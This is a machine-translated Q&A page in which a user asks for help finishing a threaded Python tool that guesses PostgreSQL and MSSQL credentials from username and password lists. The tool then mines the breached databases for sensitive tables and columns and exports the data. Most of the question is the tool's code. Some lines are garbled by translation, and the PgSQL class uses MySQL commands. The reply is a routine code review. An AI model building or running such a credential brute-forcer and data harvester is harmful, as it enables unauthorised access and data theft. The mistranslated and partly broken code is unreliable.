Как изменить PostgreSQL psycopg, чтобы принимать переменные вместо значений - PullRequest
0 голосов
/ 14 апреля 2019

Я создаю инструмент атак по словарям на PostgreSQL. Этот инструмент вдохновлен работой инструмента m8r0wn - enumdb. Инструмент Майкс предназначен для MySQL и MSSQL. Я стремлюсь использовать тот же подход, который он использовал, но изменить действия и выходной файл. Сценарий должен

1) Считайте файл CSV, содержащий цели и порты, по одному на строку 127.0.0.1,3380. 2) когда предоставляется список имен пользователей и / или паролей, он будет циклически проходить по каждому целевому хосту в поисках действительных учетных данных. По умолчанию он использует недавно обнаруженные учетные данные для поиска конфиденциальной информации в базах данных хоста с помощью поиска по ключевым словам в таблице или именах столбцов. 3) Затем эту информацию можно извлечь и передать в выходной файл JSON, .csv или .xlsx.

У меня полуфункциональный код, но я подозреваю, что функция соединения PostgreSQL не работает из-за логики передачи параметров. Меня интересуют предложения о том, как лучше всего представить результаты инструментов в виде файла JSON.

Я понимаю, что в Python у нас есть несколько доступных модулей для подключения и работы с PostgreSQL, включая:

Psycopg2
pg8000
py-postgresql
PyGreSQL
ocpgdb
bpgsql
SQLAlchemy

см. Также https://www.a2hosting.co.za/kb/developer-corner/postgresql/connecting-to-postgresql-using-python

Способы подключения, которые я пробовал, включают:

import psycopg2

из psycopg2 Ошибка импорта conn = psycopg2.connect (хост = хост, dbname = db_name, пользователь = _user, пароль = _pass, порт = порт)

импорт pg

conn = pg.DB (host = args.hostname, user = _user, passwd = _pass)

sudo pip install pgdb

import pgdb

conn = pgdb.connect (host = args.hostname, user = _user, passwd = _pass)

Я не уверен, как передать различные предположения _user и _pass, например, в pyscopg2, не нарушая код.

Я импортировал следующие библиотеки

import re
import psycopg2
from psycopg2 import Error
import pgdb
#import MySQLdb
import pymssql
import argparse
from time import sleep
from sys import exit, argv
from getpass import getpass
from os import path, remove
from openpyxl import Workbook
from threading import Thread, activeCount

Блок PgSQL выглядит следующим образом:


##########################################
# PgSQL DB Class
##########################################
class pgsql():
    def connect(self, host, port, user, passwd, verbose):
        try:
            con = pgdb.connect(host=host, port=port, user=user, password=passwd, connect_timeout=3)
            con.query_timeout = 15
            print_success("[*] Connection established {}:{}@{}".format(user,passwd,host))
            return con
        except Exception as e:
            if verbose:
                print_failure("[!] Login failed {}:{}@{}\t({})".format(user,passwd,host,e))
            else:
                print_failure("[!] Login failed {}:{}@{}".format(user, passwd, host))
            return False

    def db_query(self, con, cmd):
        try:
            cur = con.cursor()
            cur.execute(cmd)
            data = cur.fetchall()
            cur.close()
        except:
            data = ''
        return data

    def get_databases(self, con):
        databases = []
        for x in self.db_query(con, 'SHOW DATABASES;'):
            databases.append(x[0])
        return databases

    def get_tables(self, con, database):
        tables = []
        self.db_query(con, "USE {}".format(database))
        for x in self.db_query(con, 'SHOW TABLES;'):
            tables.append(x[0])
        return tables

    def get_columns(self, con, database, table):
        # database var not used but kept to support mssql
        columns = []
        for x in self.db_query(con, 'SHOW COLUMNS FROM {}'.format(table)):
            columns.append(x[0])
        return columns

    def get_data(self, con, database, table):
        # database var not used but kept to support mssql
        return self.db_query(con, 'SELECT * FROM {} LIMIT {}'.format(table, SELECT_LIMIT))

MSSQL выглядит следующим образом:

# MSSQL DB Class

class mssql():
    def connect(self, host, port, user, passwd, verbose):
        try:
            con = pymssql.connect(server=host, port=port, user=user, password=passwd, login_timeout=3, timeout=15)
            print_success("[*] Connection established {}:{}@{}".format(user,passwd,host))
            return con
        except Exception as e:
            if verbose:
                print_failure("[!] Login failed {}:{}@{}\t({})".format(user,passwd,host,e))
            else:
                print_failure("[!] Login failed {}:{}@{}".format(user, passwd, host))
            return False

    def db_query(self, con, cmd):
        try:
            cur = con.cursor()
            cur.execute(cmd)
            data = cur.fetchall()
            cur.close()
        except:
            data = ''
        return data

    def get_databases(self, con):
        databases = []
        for x in self.db_query(con, 'SELECT NAME FROM sys.Databases;'):
            databases.append(x[0])
        return databases

    def get_tables(self, con, database):
        tables = []
        for x in self.db_query(con, 'SELECT NAME FROM {}.sys.tables;'.format(database)):
            tables.append(x[0])
        return tables

    def get_columns(self, con, database, table):
        columns = []
        for x in self.db_query(con, 'USE {};SELECT column_name FROM information_schema.columns WHERE table_name = \'{}\';'.format(database, table)):
            columns.append(x[0])
        return columns

    def get_data(self, con, database, table):
        return self.db_query(con, 'SELECT TOP({}) * FROM {}.dbo.{};'.format(SELECT_LIMIT, database, table))


Основной функциональный блок:


def main(args):
    try:
        for t in args.target:
            x = Thread(target=enum_db().db_main, args=(args, t,))
            x.daemon = True
            x.start()
            # Do not exceed max threads
            while activeCount() > args.max_threads:
                sleep(0.001)
        # Exit all threads before closing
        while activeCount() > 1:
            sleep(0.001)
    except KeyboardInterrupt:
        print("\n[!] Key Event Detected...\n\n")
        exit(0)


if __name__ == '__main__':
    version = '1.0.7'
    try:
        args = argparse.ArgumentParser(description=("""
                           {0}   (v{1})
    --------------------------------------------------
Brute force Juggernaut is a PgSQL brute forcing tool.**""").format(argv[0], version), formatter_class=argparse.RawTextHelpFormatter, usage=argparse.SUPPRESS)

        user = args.add_mutually_exclusive_group(required=True)
        user.add_argument('-u', dest='users', type=str, action='append', help='Single username')
        user.add_argument('-U', dest='users', default=False, type=lambda x: file_exists(args, x), help='Users.txt file')

        passwd = args.add_mutually_exclusive_group()
        passwd.add_argument('-p', dest='passwords', action='append', default=[], help='Single password')
        passwd.add_argument('-P', dest='passwords', default=False, type=lambda x: file_exists(args, x), help='Password.txt file')

        args.add_argument('-threads', dest='max_threads', type=int, default=3, help='Max threads (Default: 3)')
        args.add_argument('-port', dest='port', type=int, default=0, help='Specify non-standard port')
        args.add_argument('-r', '-report', dest='report', type=str, default=False, help='Output Report: csv, xlsx (Default: None)')
        args.add_argument('-t', dest='dbtype', type=str, required=True, help='Database types currently supported: mssql, pgsql')
        args.add_argument('-c', '-columns', dest="column_search", action='store_true', help="Search for key words in column names (Default: table names)")
        args.add_argument('-v', dest="verbose", action='store_true', help="Show failed login notices & keyword matches with Empty data sets")
        args.add_argument('-brute', dest="brute", action='store_true', help='Brute force only, do not enumerate')
        args.add_argument(dest='target', nargs='+', help='Target database server(s)')
        args = args.parse_args()

        # Put target input into an array
        args.target = list_targets(args.target[0])

        # Get Password if not provided
        if not args.passwords:
            args.passwords = [getpass("Enter password, or continue with null-value: ")]

        # Define default port based on dbtype
        if args.port == 0: args.port = default_port(args.dbtype)

        # Launch Main
        print("\nStarting enumdb v{}\n".format(version) + "-" * 25)
        main(args)
    except KeyboardInterrupt:
        print("\n[!] Key Event Detected...\n\n")
        exit(0)


I am aware that documentation states here http://initd.org/psycopg/docs/module.html states about how connection parameters can be specified. I would like to pass password guesses into the brute class and recursively try different combinations.

1 Ответ

1 голос
/ 15 апреля 2019

PEP-8 просит вас назвать имя начиная с заглавной буквы, например Pgsql. Вы упомянули, что метод pgsql connect() не работает должным образом, но не предлагал никакой диагностики, такой как трассировка стека.

Вы, кажется, работаете слишком усердно, учитывая, что слой sqlalchemy уже достаточно хорошо решил проблему переноса БД. Просто соберите соединительную строку , начиная с название соответствующего пакета БД, и пусть sqlalchemy позаботится обо всем остальном.

Все ваши методы принимают con в качестве аргумента. Вы действительно хотите выделить это как атрибут объекта self.con.

Метод db_query(), очевидно, предполагает, что Аргументы для предложений WHERE уже указаны в правильных кавычках в cmd. По словам матери маленького Бобби , имеет смысл принимать аргументы запроса в соответствии с API , вместо того, чтобы беспокоиться о возможности SQL-инъекции .

...